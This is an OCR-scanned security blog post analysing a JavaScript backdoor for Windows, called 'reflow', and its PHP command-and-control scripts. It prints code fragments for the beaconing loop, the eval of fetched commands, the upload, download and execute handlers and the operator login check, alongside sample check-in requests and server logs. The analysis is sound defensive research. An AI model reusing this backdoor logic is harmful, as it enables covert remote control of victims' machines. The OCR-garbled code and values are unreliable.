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A script was left behind on a compromised machine. This led to the discovery of a Windows backdoor written in
JavaScript and the C&C; backend scripts. Unfortunately I can't post too much details because the victim's

organization name is present in the files.

The backdoor script is less than 2KB and the only indication of its presence on a compromised PC is a running
process called "wscript.exe", which is a legitimate Windows program. The main part of the script contains an

endless do-loop awaiting commands after passing the query string "reflow" to the C&C; else it sleeps for 4 hours.

while (1) {
Req = RgU{'http:// [redacted] /?reflow"}) s
if (Reqg) {
try{eval (Reg) }catchi{e) {}

1
WScript.Sleep (GEleep) !

}

The callback to the C&C; looks like this:

GET / HTTR/1.1

connection: Keep-alive

Accepr: text/html, application/xhtml+xml, #/%

Accept-Language: en-US

Cookie: HIUYS=SGXlWXNeSGFCQ SEHR':!FE%W STt TuwoussvkIEZkhwe p‘f’Sj hMDTOUTZCRGZGZFBYVAIRIVIWS SVTIVIdICRID
User-a entﬁﬁﬂuzi11af5.0 (compatible; MSIE 92.0; windows NT 6.1; Trident/5.0)

Host: Tocalhost

I wanted to find out more so I searched for code snippets in various search engines and VirusTotal but that led me
nowhere. I turned to Recorded Future and found exactly what I was looking for. In case you don't know Recorded
Future (https://www.recordedfuture.com) helps to enrich your raw data with useful contextualized and correlated
threat intelligence. What I like best is its ability to find things that search engines can't because it's been removed

from paste sites or posted to a private forum, as examples.

Page 1 of 6


http://www.kahusecurity.com/
http://www.kahusecurity.com/

http://www.kahusecurity.com /posts/reflow_javascript_backdoor.html|

The results I got show three hits to matching files that were deleted back in December 2017. The cached data and

link back to the original source helped me recover a compressed file with the C&C; package.

Keyword - |S Backdoaor

There are four main scripts (3 PHP and 1 JavaScript files) in the package that are copied to a web server. The web
server may be attacker-controlled or compromised by some means. The main script, index.php, contains an SVG

animation that looks like this when a visitor happens to visit the page.

This script shows that when "reflow" is passed to the page, contents of a malicious JavaScript file (renamed as a
PNG file) is sent to the victim PC and eval'd by the backdoor script. The malicious script uses WMI to obtain the

system Information then sends that info back as part of its authentication method.

Here you can see the malicious script running an endless loop waiting for commands such as upload, download,

and execute.
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L = GetFilelSiza (5.5RC) 5
= if (L) WERequest {'28"') relse{

_M.UP = ('F'":5.5RC, "S5':5.BLE, 'P":0, "L':L)
IF 1
- 1
continme;
I 1
=] cage i

5 = _JSVAL{_M.D.subscring{:}):
if ('3 || !_Def({3.Dac))oontinoe;
= if [ _De=f(5.V5)){

L = Getfilesize(5.0a%)

WERegqueat (" 35 "4L)
telsge if ( Def(5.EDF) && _Def(S.R)){

D = FindStr (¥HR.responsaText, _I:-!I.. eFlag, 5.ELDF);
B if (1D || 'BaseddToFile(®.Dac, O, S.R}){
WERRguean ("3!") 2
= 1
- 1
r l
continnes
= case 9:[

5 = M.D.aubscring{l):
E=11l:
try{eval (8) jcatch{=}{}
B it (R) |

WERequeat ("1 +R)

= }

_RUN_ = 1r
while{_RI_)
El i
WScripk.Sleep( M.=Delay)
WEReguest () ;
= ir (M.} {
_Imt-.-ie = new Dats():
jElse=q
= if ((new Date(}).gecTime() - _Actvie.gecTime() > _M.mlimiz) |
WERequeat (" 4Id1e") :
_8UE PROG = 0:
break;
I 1
]
awltah{parseInt (_M.D.charhco{0))}
=R
B case 1:{
L = parselnt{ K.D subscz(i, i)}
WiERequeat (utfs_encode (1" + ExecCommand (utff_decode | M.D.subkatring{s + L}}, L
aontinme ;
= ]
=] case J:f
S = _JEVAL{_MH.D.subatring{l}):
i ('S5 || !_Derf{5.5RC) || !_Der(5.BLF}){_M.UF=!l;continme]:
E if ('oF3.FileExisce(5.3RC) )WERequesc("2!") ralaa]

The "mAuth" function generates short random strings, concatenates them along with the system info and passes

that to the C&C; in a cookie after Base64-encoding it. These random strings are important as they are used as

markers to identify instructions contained between them.

Hfanction mhuth(){

F = RandStz(5, 1}:

M.dFlag = Rand3Str{d, 1):

M.bFlag = RandSce({3, 1) + BandStr(l, 2)!

M.aFlag = Rand3tr{i, 1) + RandStr(l, 2);

M.uFlag = M.bFlag.substr{l, &) + _M.eFlag.subscr(l, 2};
0ty

EHR.open('GET", _M.Url, false):
¥HR.gecOprion(i, 13036):

FillHesdss () &

¥HR . =setRequestMeader (' Cockis®, F + '="
KHR . zend ()

+ escape (baseé4Encode({ F + '°°

= if (KHR.statms == Z00}{
_R = basefdDecode (FindStr (NHR.responsalext, M.bFlag, M.eFlag)):
B if (_R.subscril, 4} == _M.uFlag} {

tryleval (_R.aubatring (=)} leatchie) {}
1
if (B =_F
retorn 10
F I
jeatch (=) ()
retorn "1

=1
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Data is transmitted back to the C&C; using AJAX. There's a function called "FillHeader" that populates the HTTP

header.

Spaces!

ST~

MHR, setRequestHeader( accept’, 'text/html, application/xhtmlsexml, =/%");
XHR, 5EtRequestHeaderE'.ncn:ept—Lan uage', "en-Us");
XHR. seTRequestHeader {user-agent” , "Mozilla/5.0 (compatible; ™sSIE 9.0; windows NT 6.1; Trident/5.03");

Again, this is what the HTTP request looks like when the victim PC checks in:

GET / HTTP/1.1

connection: Keep-alive

Accept: text/html, application/xhtml+xml, =7+

Accept-Language: en-uUs

Cookie: H1uYs-SleuXNeSGFCQSBHRy5qu31tx1uw0u55vkjﬂzkhwe1pYthvMD10u1ZCRGZGEFEva;klvwsﬁvTvIdscx;D
uaer—A?ent: Mozilla/5.0 (compatible; MSIE 9.0; windows NT 6.1; Trident/5.0)

Host: localhost

Performing a Base64-decode on the cookie value results in the 2nd line. Repeating the Base64-decode on the

string after the second caret reveals the system info.

SGx1WEMNeSGFCO3BHRYSpV3IXIUwOUSSVERIEZkhWelpYSjhVMDIOUIZCRGZGZ FBVa3RIVIWSSVIVIAIc%3D

HluYs*HaBCpGG.iWr-AUDSNRVBDFHVZZXIBUDSNRVEBDFdPUKIHUKSVUHwWw

5,

SOMEPC | user | SOMEPC | WORKGROUP |0

One of the PHP scripts appears to be a template which is modified with HTML code to make the page look
legitimate (e.g. it contain parts of an organization's actual webpage). The script is renamed and referenced by the
index.php script. This script has all the functions responsible for uploading and downloading files as well as
creating activity logs. Among the log files are victim's IP addresses, what files have been uploaded and

downloaded, session information, etc.

The "Authentication" function reads in the cookie value from victims and parses out the system info, and defines
variables used to create the log filenames. The victim's username and computer name are MD5-hashed and used as

part of the log filenames. When a victim PC connects to the C&C;, three files are created on the C&C; server:
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httplog.txt

[::1] - 2018-03-27 02:05:30

GET / HTTP/L.1

comnnection: Keep-alive

Accept: text/html, application/xhtmlexml, =/

ACCEPT-LANQUAQE: en-US

cookie: IaBGr=SwFCRIJecavsSSElLbSSkougaxluwoussvkIEZkhwe]pysimMblou] ZCRGZGZFEVAIRTIVIWS SVIVIdIckID
user- tntihkuri11afi,0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

#ost: Tecalhost

[::1] - 2008- ﬂa 27 02:05:30
GET / HTTR/1.1
connection: Keep-ali

ACCept: text/html, app‘icatiunthmmlﬁun1 *

ACCEPT-Lamguage: en-us

user-agent: Mozilla/5.0 (compatible; MSIE 9.0; windows NT 6.1; Trident/5.0)
Host: Tocalhost

Cookie: PHPSESSID=skelc952ogqumligeshibpsjues

bot_518205¢bd4560c03438a4cd2105a8131

a9

{5:10; "uUsercomain”; 5:6: "SOMEPC"; 5:B:"UserName”; 5141 "user”;5:12: "ComputerName”; 5 :6: "SOMEPC”
5:13:"CurrentDomain; s :9: "WORKGROUP™ ]S :16: "IsDomainComputer™; 1 :0;5:6: "bgF1 iS4 IKNm. " S
6:"edrFlag”;s:4:"JAN® "1 5 11:"upload_task";s:36: "upl SJ.EZDscb-ddEEUr.DSHBa ed2losag1in™ys "
download_task™;s:36: "dow_518205chdl560c03338aded2105a8131 ",

sess_skelc952o0qvm13gcshibp5jues

hash|s:32:"518205¢chbd4 560c034 38a4cd2105a81 31" ;upload_task|
5:36:"up1_518205chd4 560c034 38a4cd2105a8131"; download task|

5:36: "dow_518205cbd4560c034 38a4cd2105a8131"; Field|s:4:"rern”; bgFlag|s: 4:"1km. ”; edFlag|

5:4:" AR "jupFlag|s:4:"kman” BorInfo|a:9:
{5:10:"userpomalin™; s 16: "SOMEPC™ S :8: "USerName”; 514 1 "user”;5:12:° cnnputerNanE 5 ﬁ. SaMEPc H
:13:"currentDomain’; s:9: "WORKGROUP™; 5:16: "IspomainCo uter”:1:0;5:6: bgFlag’ “IKm, ;56
“edFlagti s 4 TIAN" 811 s "upTload_task”;s:36: "upl_5182 sr.bddssc:lcmuﬂad:dn 533131"'5 134 'ﬂm
nload _task";s:36:"dow_518205cbhdd4560c03438a4cd2105a8131"; JBotFile|

5:36: "bor_518205chd4 560c034 38a4cd2105a8131"; 5whF1le|

5:36: "swp_518205chd4 5600034 38a4cd2105aB8131 " RETFiTe|
5:36:"ret_518205chdd 560c034 36a4cd2105a8131";

The last PHP script in their package is used to interact with and send commands to the victim PCs. Note the

timezone and interesting login method.

define | 'WaicSetp', 10000);

date defaolt timezone set('ETC/GMI-8');

set tlma ¥ limit (D) ;

if {PH’E‘ VERSIOHN < &5} {

-l if (get _magic guotes _gpoi)) |

function atripslasheaDeep ($var) {return is_grray[ﬁvar; El
$ POST = stripslashesDeep($_ POST):

[

session_start():

Elr (izset ($_POST['Login'])) {

- if (substr(Bmd5($ POST['Login’]), 8, 3) === '3§302540") |
§ SESSION['"Haslogged'] = 1;
RecurnExic (};

[:Iir (!isset ($_SESSICM('Haslogged']))
die('RAccesa denied'):

seszion write close():

The available commands are quite limited but is more than enough to upload additional, more powerful tools to
the victim PC and gain further access into their network. And finally, if the attackers sense they are about to be

discovered, they can delete all the important log files with another set of commands built into this script.
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I don't have any attribution information on these scripts but it doesn't seem to be related to your-typical-crime-

gang. It appears that this campaign is still ongoing as other files show updated timestamps.

Posted on: 03/30/2018

Source: http://www.kahusecurity.com/posts/reflow_javascript_backdoor.html

Page 6 of 6



